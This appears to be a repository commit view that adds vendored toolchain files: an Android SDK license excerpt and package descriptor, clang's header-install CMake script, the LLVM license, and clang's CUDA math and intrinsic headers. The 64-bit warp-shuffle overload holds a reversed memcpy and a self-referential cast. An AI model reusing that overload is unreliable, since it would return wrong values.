4.3 You agree that if you use the SDK to develop applications for general public users, you will protect the privacy and legal rights of those users. If the users provide you with user names, passwords, or other login information or personal information, you must make the users aware that the information will be available to your application, and you must provide legally adequate privacy notice and protection for those users. If your application stores personal or sensitive information provided by users, it must do so securely. If the user provides your application with Google Account information, your application may only use that information to access the user's Google Account when, and for the limited purposes for which, the user has given you permission to do so.
4.4 You agree that you will not engage in any activity with the SDK, including the development or distribution of an application, that interferes with, disrupts, damages, or accesses in an unauthorized manner the servers, networks, or other properties or services of any third party including, but not limited to, Google or any mobile communications carrier.
4.5 You agree that you are solely responsible for (and that Google has no responsibility to you or to any third party for) any data, content, or resources that you create, transmit or display through Android and/or applications for Android, and for the consequences of your actions (including any loss or damage which Google may suffer) by doing so.
4.6 You agree that you are solely responsible for (and that Google has no responsibility to you or to any third party for) any breach of your obligations under the License Agreement, any applicable third party contract or Terms of Service, or any applicable law or regulation, and for the consequences (including any loss or damage which Google or any third party may suffer) of any such breach.
5. Your Developer Credentials
5.1 You agree that you are responsible for maintaining the confidentiality of any developer credentials that may be issued to you by Google or which you may choose yourself and that you will be solely responsible for all applications that are developed under your developer credentials.
6. Privacy and Information
6.1 In order to continually innovate and improve the SDK, Google may collect certain usage statistics from the software including but not limited to a unique identifier, associated IP address, version number of the software, and information on which tools and/or services in the SDK are being used and how they are being used. Before any of this information is collected, the SDK will notify you and seek your consent. If you withhold consent, the information will not be collected.
6.2 The data collected is examined in the aggregate to improve the SDK and is maintained in accordance with Google's Privacy Policy.
7. Third Party Applications
7.1 If you use the SDK to run applications developed by a third party or that access data, content or resources provided by a third party, you agree that Google is not responsible for those applications, data, content, or resources. You understand that all data, content or resources which you may access through such third party applications are the sole responsibility of the person from which they originated and that Google is not liable for any loss or damage that you may experience as a result of the use or access of any of those third party applications, data, content, or resources.
7.2 You should be aware the data, content, and resources presented to you through such a third party application may be protected by intellectual property rights which are owned by the providers (or by other persons or companies on their behalf). You may not modify, rent, lease, loan, sell, distribute or create derivative works based on these data, content, or resources (either in whole or in part) unless you have been specifically given permission to do so by the relevant owners.
7.3 You acknowledge that your use of such third party applications, data, content, or resources may be subject to separate terms between you and the relevant third party. In that case, the License Agreement does not affect your legal relationship with these third parties.
8. Using Android APIs
8.1 Google Data APIs
8.1.1 If you use any API to retrieve data from Google, you acknowledge that the data may be protected by intellectual property rights which are owned by Google or those parties that provide the data (or by other persons or companies on their behalf). Your use of any such API may be subject to additional Terms of Service. You may not modify, rent, lease, loan, sell, distribute or create derivative works based on this data (either in whole or in part) unless allowed by the relevant Terms of Service.
8.1.2 If you use any API to retrieve a user's data from Google, you acknowledge and agree that you shall retrieve data only with the user's explicit consent and only when, and for the limited purposes for which, the user has given you permission to do so.
9. Terminating the License Agreement
9.1 The License Agreement will continue to apply until terminated by either you or Google as set out below.
9.2 If you want to terminate the License Agreement, you may do so by ceasing your use of the SDK and any relevant developer credentials.
9.3 Google may at any time, terminate the License Agreement with you if: (A) you have breached any provision of the License Agreement; or (B) Google is required to do so by law; or (C) the partner with whom Google offered certain parts of SDK (such as APIs) to you has terminated its relationship with Google or ceased to offer certain parts of the SDK to you; or (D) Google decides to no longer provide the SDK or certain parts of the SDK to users in the country in which you are resident or from which you use the service, or the provision of the SDK or certain SDK services to you by Google is, in Google's sole discretion, no longer commercially viable.
9.4 When the License Agreement comes to an end, all of the legal rights, obligations and liabilities that you and Google have benefited from, been subject to (or which have accrued over time whilst the License Agreement has been in force) or which are expressed to continue indefinitely, shall be unaffected by this cessation, and the provisions of paragraph 14.7 shall continue to apply to such rights, obligations and liabilities indefinitely.
10. DISCLAIMER OF WARRANTIES
10.1 YOU EXPRESSLY UNDERSTAND AND AGREE THAT YOUR USE OF THE SDK IS AT YOUR SOLE RISK AND THAT THE SDK IS PROVIDED "AS IS" AND "AS AVAILABLE" WITHOUT WARRANTY OF ANY KIND FROM GOOGLE.
10.2 YOUR USE OF THE SDK AND ANY MATERIAL DOWNLOADED OR OTHERWISE OBTAINED THROUGH THE USE OF THE SDK IS AT YOUR OWN DISCRETION AND RISK AND YOU ARE SOLELY RESPONSIBLE FOR ANY DAMAGE TO YOUR COMPUTER SYSTEM OR OTHER DEVICE OR LOSS OF DATA THAT RESULTS FROM SUCH USE.
10.3 GOOGLE FURTHER EXPRESSLY DISCLAIMS ALL WARRANTIES AND CONDITIONS OF ANY KIND, WHETHER EXPRESS OR IMPLIED, INCLUDING, BUT NOT LIMITED TO THE IMPLIED WARRANTIES AND CONDITIONS OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NON-INFRINGEMENT.
11. LIMITATION OF LIABILITY
11.1 YOU EXPRESSLY UNDERSTAND AND AGREE THAT GOOGLE, ITS SUBSIDIARIES AND AFFILIATES, AND ITS LICENSORS SHALL NOT BE LIABLE TO YOU UNDER ANY THEORY OF LIABILITY FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, CONSEQUENTIAL OR EXEMPLARY DAMAGES THAT MAY BE INCURRED BY YOU, INCLUDING ANY LOSS OF DATA, WHETHER OR NOT GOOGLE OR ITS REPRESENTATIVES HAVE BEEN ADVISED OF OR SHOULD HAVE BEEN AWARE OF THE POSSIBILITY OF ANY SUCH LOSSES ARISING.
12. Indemnification
12.1 To the maximum extent permitted by law, you agree to defend, indemnify and hold harmless Google, its affiliates and their respective directors, officers, employees and agents from and against any and all claims, actions, suits or proceedings, as well as any and all losses, liabilities, damages, costs and expenses (including reasonable attorneys fees) arising out of or accruing from (a) your use of the SDK, (b) any application you develop on the SDK that infringes any copyright, trademark, trade secret, trade dress, patent or other intellectual property right of any person or defames any person or violates their rights of publicity or privacy, and (c) any non-compliance by you with the License Agreement.
13. Changes to the License Agreement
13.1 Google may make changes to the License Agreement as it distributes new versions of the SDK. When these changes are made, Google will make a new version of the License Agreement available on the website where the SDK is made available.
14. General Legal Terms
14.1 The License Agreement constitutes the whole legal agreement between you and Google and governs your use of the SDK (excluding any services which Google may provide to you under a separate written agreement), and completely replaces any prior agreements between you and Google in relation to the SDK.
14.2 You agree that if Google does not exercise or enforce any legal right or remedy which is contained in the License Agreement (or which Google has the benefit of under any applicable law), this will not be taken to be a formal waiver of Google's rights and that those rights or remedies will still be available to Google.
14.3 If any court of law, having the jurisdiction to decide on this matter, rules that any provision of the License Agreement is invalid, then that provision will be removed from the License Agreement without affecting the rest of the License Agreement. The remaining provisions of the License Agreement will continue to be valid and enforceable.
14.4 You acknowledge and agree that each member of the group of companies of which Google is the parent shall be third party beneficiaries to the License Agreement and that such other companies shall be entitled to directly enforce, and rely upon, any provision of the License Agreement that confers a benefit on (or rights in favor of) them. Other than this, no other person or company shall be third party beneficiaries to the License Agreement.
14.5 EXPORT RESTRICTIONS. THE SDK IS SUBJECT TO UNITED STATES EXPORT LAWS AND REGULATIONS. YOU MUST COMPLY WITH ALL DOMESTIC AND INTERNATIONAL EXPORT LAWS AND REGULATIONS THAT APPLY TO THE SDK. THESE LAWS INCLUDE RESTRICTIONS ON DESTINATIONS, END USERS AND END USE.
14.6 The rights granted in the License Agreement may not be assigned or transferred by either you or Google without the prior written approval of the other party. Neither you nor Google shall be permitted to delegate their responsibilities or obligations under the License Agreement without the prior written approval of the other party.
14.7 The License Agreement, and your relationship with Google under the License Agreement, shall be governed by the laws of the State of California without regard to its conflict of laws provisions. You and Google agree to submit to the exclusive jurisdiction of the courts located within the county of Santa Clara, California to resolve any legal matter arising from the License Agreement. Notwithstanding this, you agree that Google shall still be allowed to apply for injunctive remedies (or an equivalent type of urgent legal relief) in any jurisdiction.
November 20, 2015</license><localPackage path="build-tools;25.0.2" obsolete="false"><type-details xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:type="ns5:genericDetailsType"/><revision><major>25</major><minor>0</minor><micro>2</micro></revision><display-name>Android SDK Build-Tools 25.0.2</display-name><uses-license ref="android-sdk-license"/></localPackage></ns2:repository>

View File

@ -0,0 +1,128 @@
set(files
adxintrin.h
altivec.h
ammintrin.h
arm_acle.h
avx2intrin.h
avx512bwintrin.h
avx512cdintrin.h
avx512dqintrin.h
avx512erintrin.h
avx512fintrin.h
avx512ifmaintrin.h
avx512ifmavlintrin.h
avx512pfintrin.h
avx512vbmiintrin.h
avx512vbmivlintrin.h
avx512vlbwintrin.h
avx512vlcdintrin.h
avx512vldqintrin.h
avx512vlintrin.h
avxintrin.h
bmi2intrin.h
bmiintrin.h
__clang_cuda_cmath.h
__clang_cuda_intrinsics.h
__clang_cuda_math_forward_declares.h
__clang_cuda_runtime_wrapper.h
cpuid.h
cuda_builtin_vars.h
clflushoptintrin.h
emmintrin.h
f16cintrin.h
float.h
fma4intrin.h
fmaintrin.h
fxsrintrin.h
htmintrin.h
htmxlintrin.h
ia32intrin.h
immintrin.h
intrin.h
inttypes.h
iso646.h
limits.h
lzcntintrin.h
mm3dnow.h
mmintrin.h
mm_malloc.h
module.modulemap
mwaitxintrin.h
nmmintrin.h
opencl-c.h
pkuintrin.h
pmmintrin.h
popcntintrin.h
prfchwintrin.h
rdseedintrin.h
rtmintrin.h
s390intrin.h
shaintrin.h
smmintrin.h
stdalign.h
stdarg.h
stdatomic.h
stdbool.h
stddef.h
__stddef_max_align_t.h
stdint.h
stdnoreturn.h
tbmintrin.h
tgmath.h
tmmintrin.h
unwind.h
vadefs.h
varargs.h
vecintrin.h
wmmintrin.h
__wmmintrin_aes.h
__wmmintrin_pclmul.h
x86intrin.h
xmmintrin.h
xopintrin.h
xsavecintrin.h
xsaveintrin.h
xsaveoptintrin.h
xsavesintrin.h
xtestintrin.h
)
set(output_dir ${LLVM_LIBRARY_OUTPUT_INTDIR}/clang/${CLANG_VERSION}/include)
# Generate arm_neon.h
clang_tablegen(arm_neon.h -gen-arm-neon
SOURCE ${CLANG_SOURCE_DIR}/include/clang/Basic/arm_neon.td)
set(out_files)
foreach( f ${files} )
set( src ${CMAKE_CURRENT_SOURCE_DIR}/${f} )
set( dst ${output_dir}/${f} )
add_custom_command(OUTPUT ${dst}
DEPENDS ${src}
COMMAND ${CMAKE_COMMAND} -E copy_if_different ${src} ${dst}
COMMENT "Copying clang's ${f}...")
list(APPEND out_files ${dst})
endforeach( f )
add_custom_command(OUTPUT ${output_dir}/arm_neon.h
DEPENDS ${CMAKE_CURRENT_BINARY_DIR}/arm_neon.h
COMMAND ${CMAKE_COMMAND} -E copy_if_different ${CMAKE_CURRENT_BINARY_DIR}/arm_neon.h ${output_dir}/arm_neon.h
COMMENT "Copying clang's arm_neon.h...")
list(APPEND out_files ${output_dir}/arm_neon.h)
add_custom_target(clang-headers ALL DEPENDS ${out_files})
set_target_properties(clang-headers PROPERTIES FOLDER "Misc")
install(
FILES ${files} ${CMAKE_CURRENT_BINARY_DIR}/arm_neon.h
COMPONENT clang-headers
PERMISSIONS OWNER_READ OWNER_WRITE GROUP_READ WORLD_READ
DESTINATION lib${LLVM_LIBDIR_SUFFIX}/clang/${CLANG_VERSION}/include)
if (NOT CMAKE_CONFIGURATION_TYPES) # don't add this for IDE's.
add_custom_target(install-clang-headers
DEPENDS clang-headers
COMMAND "${CMAKE_COMMAND}"
-DCMAKE_INSTALL_COMPONENT=clang-headers
-P "${CMAKE_BINARY_DIR}/cmake_install.cmake")
endif()

View File

@ -0,0 +1,63 @@
==============================================================================
LLVM Release License
==============================================================================
University of Illinois/NCSA
Open Source License
Copyright (c) 2007-2016 University of Illinois at Urbana-Champaign.
All rights reserved.
Developed by:
LLVM Team
University of Illinois at Urbana-Champaign
http://llvm.org
Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal with
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies
of the Software, and to permit persons to whom the Software is furnished to do
so, subject to the following conditions:
* Redistributions of source code must retain the above copyright notice,
this list of conditions and the following disclaimers.
* Redistributions in binary form must reproduce the above copyright notice,
this list of conditions and the following disclaimers in the
documentation and/or other materials provided with the distribution.
* Neither the names of the LLVM Team, University of Illinois at
Urbana-Champaign, nor the names of its contributors may be used to
endorse or promote products derived from this Software without specific
prior written permission.
THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
CONTRIBUTORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS WITH THE
SOFTWARE.
==============================================================================
The LLVM software contains code written by third parties. Such software will
have its own individual LICENSE.TXT file in the directory in which it appears.
This file will describe the copyrights, license, and restrictions which apply
to that code.
The disclaimer of warranty in the University of Illinois Open Source License
applies to all code in the LLVM Distribution, and nothing in any of the
other licenses gives permission to use the names of the LLVM Team or the
University of Illinois to endorse or promote products derived from this
Software.
The following pieces of software have additional or alternate copyrights,
licenses, and/or restrictions:
Program Directory
------- ---------
<none yet>

View File

@ -0,0 +1,148 @@
/*===---- __clang_cuda_cmath.h - Device-side CUDA cmath support ------------===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef __CLANG_CUDA_CMATH_H__
#define __CLANG_CUDA_CMATH_H__
#ifndef __CUDA__
#error "This file is for CUDA compilation only."
#endif
// CUDA lets us use various std math functions on the device side. This file
// works in concert with __clang_cuda_math_forward_declares.h to make this work.
//
// Specifically, the forward-declares header declares __device__ overloads for
// these functions in the global namespace, then pulls them into namespace std
// with 'using' statements. Then this file implements those functions, after
// the implementations have been pulled in.
//
// It's important that we declare the functions in the global namespace and pull
// them into namespace std with using statements, as opposed to simply declaring
// these functions in namespace std, because our device functions need to
// overload the standard library functions, which may be declared in the global
// namespace or in std, depending on the degree of conformance of the stdlib
// implementation. Declaring in the global namespace and pulling into namespace
// std covers all of the known knowns.
#define __DEVICE__ static __device__ __inline__ __attribute__((always_inline))
__DEVICE__ long long abs(long long __n) { return ::llabs(__n); }
__DEVICE__ long abs(long __n) { return ::labs(__n); }
__DEVICE__ float abs(float __x) { return ::fabsf(__x); }
__DEVICE__ double abs(double __x) { return ::fabs(__x); }
__DEVICE__ float acos(float __x) { return ::acosf(__x); }
__DEVICE__ float asin(float __x) { return ::asinf(__x); }
__DEVICE__ float atan(float __x) { return ::atanf(__x); }
__DEVICE__ float atan2(float __x, float __y) { return ::atan2f(__x, __y); }
__DEVICE__ float ceil(float __x) { return ::ceilf(__x); }
__DEVICE__ float cos(float __x) { return ::cosf(__x); }
__DEVICE__ float cosh(float __x) { return ::coshf(__x); }
__DEVICE__ float exp(float __x) { return ::expf(__x); }
__DEVICE__ float fabs(float __x) { return ::fabsf(__x); }
__DEVICE__ float floor(float __x) { return ::floorf(__x); }
__DEVICE__ float fmod(float __x, float __y) { return ::fmodf(__x, __y); }
__DEVICE__ int fpclassify(float __x) {
return __builtin_fpclassify(FP_NAN, FP_INFINITE, FP_NORMAL, FP_SUBNORMAL,
FP_ZERO, __x);
}
__DEVICE__ int fpclassify(double __x) {
return __builtin_fpclassify(FP_NAN, FP_INFINITE, FP_NORMAL, FP_SUBNORMAL,
FP_ZERO, __x);
}
__DEVICE__ float frexp(float __arg, int *__exp) {
return ::frexpf(__arg, __exp);
}
__DEVICE__ bool isinf(float __x) { return ::__isinff(__x); }
__DEVICE__ bool isinf(double __x) { return ::__isinf(__x); }
__DEVICE__ bool isfinite(float __x) { return ::__finitef(__x); }
__DEVICE__ bool isfinite(double __x) { return ::__finite(__x); }
__DEVICE__ bool isgreater(float __x, float __y) {
return __builtin_isgreater(__x, __y);
}
__DEVICE__ bool isgreater(double __x, double __y) {
return __builtin_isgreater(__x, __y);
}
__DEVICE__ bool isgreaterequal(float __x, float __y) {
return __builtin_isgreaterequal(__x, __y);
}
__DEVICE__ bool isgreaterequal(double __x, double __y) {
return __builtin_isgreaterequal(__x, __y);
}
__DEVICE__ bool isless(float __x, float __y) {
return __builtin_isless(__x, __y);
}
__DEVICE__ bool isless(double __x, double __y) {
return __builtin_isless(__x, __y);
}
__DEVICE__ bool islessequal(float __x, float __y) {
return __builtin_islessequal(__x, __y);
}
__DEVICE__ bool islessequal(double __x, double __y) {
return __builtin_islessequal(__x, __y);
}
__DEVICE__ bool islessgreater(float __x, float __y) {
return __builtin_islessgreater(__x, __y);
}
__DEVICE__ bool islessgreater(double __x, double __y) {
return __builtin_islessgreater(__x, __y);
}
__DEVICE__ bool isnan(float __x) { return ::__isnanf(__x); }
__DEVICE__ bool isnan(double __x) { return ::__isnan(__x); }
__DEVICE__ bool isnormal(float __x) { return __builtin_isnormal(__x); }
__DEVICE__ bool isnormal(double __x) { return __builtin_isnormal(__x); }
__DEVICE__ bool isunordered(float __x, float __y) {
return __builtin_isunordered(__x, __y);
}
__DEVICE__ bool isunordered(double __x, double __y) {
return __builtin_isunordered(__x, __y);
}
__DEVICE__ float ldexp(float __arg, int __exp) {
return ::ldexpf(__arg, __exp);
}
__DEVICE__ float log(float __x) { return ::logf(__x); }
__DEVICE__ float log10(float __x) { return ::log10f(__x); }
__DEVICE__ float modf(float __x, float *__iptr) { return ::modff(__x, __iptr); }
__DEVICE__ float nexttoward(float __from, float __to) {
return __builtin_nexttowardf(__from, __to);
}
__DEVICE__ double nexttoward(double __from, double __to) {
return __builtin_nexttoward(__from, __to);
}
__DEVICE__ float pow(float __base, float __exp) {
return ::powf(__base, __exp);
}
__DEVICE__ float pow(float __base, int __iexp) {
return ::powif(__base, __iexp);
}
__DEVICE__ double pow(double __base, int __iexp) {
return ::powi(__base, __iexp);
}
__DEVICE__ bool signbit(float __x) { return ::__signbitf(__x); }
__DEVICE__ bool signbit(double __x) { return ::__signbit(__x); }
__DEVICE__ float sin(float __x) { return ::sinf(__x); }
__DEVICE__ float sinh(float __x) { return ::sinhf(__x); }
__DEVICE__ float sqrt(float __x) { return ::sqrtf(__x); }
__DEVICE__ float tan(float __x) { return ::tanf(__x); }
__DEVICE__ float tanh(float __x) { return ::tanhf(__x); }
#undef __DEVICE__
#endif

View File

@ -0,0 +1,322 @@
/*===--- __clang_cuda_intrinsics.h - Device-side CUDA intrinsic wrappers ---===
*
* Permission is hereby granted, free of charge, to any person obtaining a copy
* of this software and associated documentation files (the "Software"), to deal
* in the Software without restriction, including without limitation the rights
* to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
* copies of the Software, and to permit persons to whom the Software is
* furnished to do so, subject to the following conditions:
*
* The above copyright notice and this permission notice shall be included in
* all copies or substantial portions of the Software.
*
* THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
* IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
* FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
* AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
* LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
* OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
* THE SOFTWARE.
*
*===-----------------------------------------------------------------------===
*/
#ifndef __CLANG_CUDA_INTRINSICS_H__
#define __CLANG_CUDA_INTRINSICS_H__
#ifndef __CUDA__
#error "This file is for CUDA compilation only."
#endif
// sm_30 intrinsics: __shfl_{up,down,xor}.
#define __SM_30_INTRINSICS_H__
#define __SM_30_INTRINSICS_HPP__
#if !defined(__CUDA_ARCH__) || __CUDA_ARCH__ >= 300
#pragma push_macro("__MAKE_SHUFFLES")
#define __MAKE_SHUFFLES(__FnName, __IntIntrinsic, __FloatIntrinsic, __Mask) \
inline __device__ int __FnName(int __in, int __offset, \
int __width = warpSize) { \
return __IntIntrinsic(__in, __offset, \
((warpSize - __width) << 8) | (__Mask)); \
} \
inline __device__ float __FnName(float __in, int __offset, \
int __width = warpSize) { \
return __FloatIntrinsic(__in, __offset, \
((warpSize - __width) << 8) | (__Mask)); \
} \
inline __device__ unsigned int __FnName(unsigned int __in, int __offset, \
int __width = warpSize) { \
return static_cast<unsigned int>( \
::__FnName(static_cast<int>(__in), __offset, __width)); \
} \
inline __device__ long long __FnName(long long __in, int __offset, \
int __width = warpSize) { \
struct __Bits { \
int __a, __b; \
}; \
_Static_assert(sizeof(__in) == sizeof(__Bits)); \
_Static_assert(sizeof(__Bits) == 2 * sizeof(int)); \
__Bits __tmp; \
memcpy(&__in, &__tmp, sizeof(__in)); \
__tmp.__a = ::__FnName(__tmp.__a, __offset, __width); \
__tmp.__b = ::__FnName(__tmp.__b, __offset, __width); \
long long __out; \
memcpy(&__out, &__tmp, sizeof(__tmp)); \
return __out; \
} \
inline __device__ unsigned long long __FnName( \
unsigned long long __in, int __offset, int __width = warpSize) { \
return static_cast<unsigned long long>( \
::__FnName(static_cast<unsigned long long>(__in), __offset, __width)); \
} \
inline __device__ double __FnName(double __in, int __offset, \
int __width = warpSize) { \
long long __tmp; \
_Static_assert(sizeof(__tmp) == sizeof(__in)); \
memcpy(&__tmp, &__in, sizeof(__in)); \
__tmp = ::__FnName(__tmp, __offset, __width); \
double __out; \
memcpy(&__out, &__tmp, sizeof(__out)); \
return __out; \
}
__MAKE_SHUFFLES(__shfl, __nvvm_shfl_idx_i32, __nvvm_shfl_idx_f32, 0x1f);
// We use 0 rather than 31 as our mask, because shfl.up applies to lanes >=
// maxLane.
__MAKE_SHUFFLES(__shfl_up, __nvvm_shfl_up_i32, __nvvm_shfl_up_f32, 0);
__MAKE_SHUFFLES(__shfl_down, __nvvm_shfl_down_i32, __nvvm_shfl_down_f32, 0x1f);
__MAKE_SHUFFLES(__shfl_xor, __nvvm_shfl_bfly_i32, __nvvm_shfl_bfly_f32, 0x1f);
#pragma pop_macro("__MAKE_SHUFFLES")
#endif // !defined(__CUDA_ARCH__) || __CUDA_ARCH__ >= 300
// sm_32 intrinsics: __ldg and __funnelshift_{l,lc,r,rc}.
// Prevent the vanilla sm_32 intrinsics header from being included.
#define __SM_32_INTRINSICS_H__
#define __SM_32_INTRINSICS_HPP__
#if !defined(__CUDA_ARCH__) || __CUDA_ARCH__ >= 320
inline __device__ char __ldg(const char *ptr) { return __nvvm_ldg_c(ptr); }
inline __device__ short __ldg(const short *ptr) { return __nvvm_ldg_s(ptr); }
inline __device__ int __ldg(const int *ptr) { return __nvvm_ldg_i(ptr); }
inline __device__ long __ldg(const long *ptr) { return __nvvm_ldg_l(ptr); }
inline __device__ long long __ldg(const long long *ptr) {
return __nvvm_ldg_ll(ptr);
}
inline __device__ unsigned char __ldg(const unsigned char *ptr) {
return __nvvm_ldg_uc(ptr);
}
inline __device__ unsigned short __ldg(const unsigned short *ptr) {
return __nvvm_ldg_us(ptr);
}
inline __device__ unsigned int __ldg(const unsigned int *ptr) {
return __nvvm_ldg_ui(ptr);
}
inline __device__ unsigned long __ldg(const unsigned long *ptr) {
return __nvvm_ldg_ul(ptr);
}
inline __device__ unsigned long long __ldg(const unsigned long long *ptr) {
return __nvvm_ldg_ull(ptr);
}
inline __device__ float __ldg(const float *ptr) { return __nvvm_ldg_f(ptr); }
inline __device__ double __ldg(const double *ptr) { return __nvvm_ldg_d(ptr); }
inline __device__ char2 __ldg(const char2 *ptr) {
typedef char c2 __attribute__((ext_vector_type(2)));
// We can assume that ptr is aligned at least to char2's alignment, but the
// load will assume that ptr is aligned to char2's alignment. This is only
// safe if alignof(c2) <= alignof(char2).
c2 rv = __nvvm_ldg_c2(reinterpret_cast<const c2 *>(ptr));
char2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
inline __device__ char4 __ldg(const char4 *ptr) {
typedef char c4 __attribute__((ext_vector_type(4)));
c4 rv = __nvvm_ldg_c4(reinterpret_cast<const c4 *>(ptr));
char4 ret;
ret.x = rv[0];
ret.y = rv[1];
ret.z = rv[2];
ret.w = rv[3];
return ret;
}
inline __device__ short2 __ldg(const short2 *ptr) {
typedef short s2 __attribute__((ext_vector_type(2)));
s2 rv = __nvvm_ldg_s2(reinterpret_cast<const s2 *>(ptr));
short2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
inline __device__ short4 __ldg(const short4 *ptr) {
typedef short s4 __attribute__((ext_vector_type(4)));
s4 rv = __nvvm_ldg_s4(reinterpret_cast<const s4 *>(ptr));
short4 ret;
ret.x = rv[0];
ret.y = rv[1];
ret.z = rv[2];
ret.w = rv[3];
return ret;
}
inline __device__ int2 __ldg(const int2 *ptr) {
typedef int i2 __attribute__((ext_vector_type(2)));
i2 rv = __nvvm_ldg_i2(reinterpret_cast<const i2 *>(ptr));
int2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
inline __device__ int4 __ldg(const int4 *ptr) {
typedef int i4 __attribute__((ext_vector_type(4)));
i4 rv = __nvvm_ldg_i4(reinterpret_cast<const i4 *>(ptr));
int4 ret;
ret.x = rv[0];
ret.y = rv[1];
ret.z = rv[2];
ret.w = rv[3];
return ret;
}
inline __device__ longlong2 __ldg(const longlong2 *ptr) {
typedef long long ll2 __attribute__((ext_vector_type(2)));
ll2 rv = __nvvm_ldg_ll2(reinterpret_cast<const ll2 *>(ptr));
longlong2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
inline __device__ uchar2 __ldg(const uchar2 *ptr) {
typedef unsigned char uc2 __attribute__((ext_vector_type(2)));
uc2 rv = __nvvm_ldg_uc2(reinterpret_cast<const uc2 *>(ptr));
uchar2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
inline __device__ uchar4 __ldg(const uchar4 *ptr) {
typedef unsigned char uc4 __attribute__((ext_vector_type(4)));
uc4 rv = __nvvm_ldg_uc4(reinterpret_cast<const uc4 *>(ptr));
uchar4 ret;
ret.x = rv[0];
ret.y = rv[1];
ret.z = rv[2];
ret.w = rv[3];
return ret;
}
inline __device__ ushort2 __ldg(const ushort2 *ptr) {
typedef unsigned short us2 __attribute__((ext_vector_type(2)));
us2 rv = __nvvm_ldg_us2(reinterpret_cast<const us2 *>(ptr));
ushort2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
inline __device__ ushort4 __ldg(const ushort4 *ptr) {
typedef unsigned short us4 __attribute__((ext_vector_type(4)));
us4 rv = __nvvm_ldg_us4(reinterpret_cast<const us4 *>(ptr));
ushort4 ret;
ret.x = rv[0];
ret.y = rv[1];
ret.z = rv[2];
ret.w = rv[3];
return ret;
}
inline __device__ uint2 __ldg(const uint2 *ptr) {
typedef unsigned int ui2 __attribute__((ext_vector_type(2)));
ui2 rv = __nvvm_ldg_ui2(reinterpret_cast<const ui2 *>(ptr));
uint2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
inline __device__ uint4 __ldg(const uint4 *ptr) {
typedef unsigned int ui4 __attribute__((ext_vector_type(4)));
ui4 rv = __nvvm_ldg_ui4(reinterpret_cast<const ui4 *>(ptr));
uint4 ret;
ret.x = rv[0];
ret.y = rv[1];
ret.z = rv[2];
ret.w = rv[3];
return ret;
}
inline __device__ ulonglong2 __ldg(const ulonglong2 *ptr) {
typedef unsigned long long ull2 __attribute__((ext_vector_type(2)));
ull2 rv = __nvvm_ldg_ull2(reinterpret_cast<const ull2 *>(ptr));
ulonglong2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
inline __device__ float2 __ldg(const float2 *ptr) {
typedef float f2 __attribute__((ext_vector_type(2)));
f2 rv = __nvvm_ldg_f2(reinterpret_cast<const f2 *>(ptr));
float2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
inline __device__ float4 __ldg(const float4 *ptr) {
typedef float f4 __attribute__((ext_vector_type(4)));
f4 rv = __nvvm_ldg_f4(reinterpret_cast<const f4 *>(ptr));
float4 ret;
ret.x = rv[0];
ret.y = rv[1];
ret.z = rv[2];
ret.w = rv[3];
return ret;
}
inline __device__ double2 __ldg(const double2 *ptr) {
typedef double d2 __attribute__((ext_vector_type(2)));
d2 rv = __nvvm_ldg_d2(reinterpret_cast<const d2 *>(ptr));
double2 ret;
ret.x = rv[0];
ret.y = rv[1];
return ret;
}
// TODO: Implement these as intrinsics, so the backend can work its magic on
// these. Alternatively, we could implement these as plain C and try to get
// llvm to recognize the relevant patterns.
inline __device__ unsigned __funnelshift_l(unsigned low32, unsigned high32,
unsigned shiftWidth) {
unsigned result;
asm("shf.l.wrap.b32 %0, %1, %2, %3;"
: "=r"(result)
: "r"(low32), "r"(high32), "r"(shiftWidth));
return result;
}
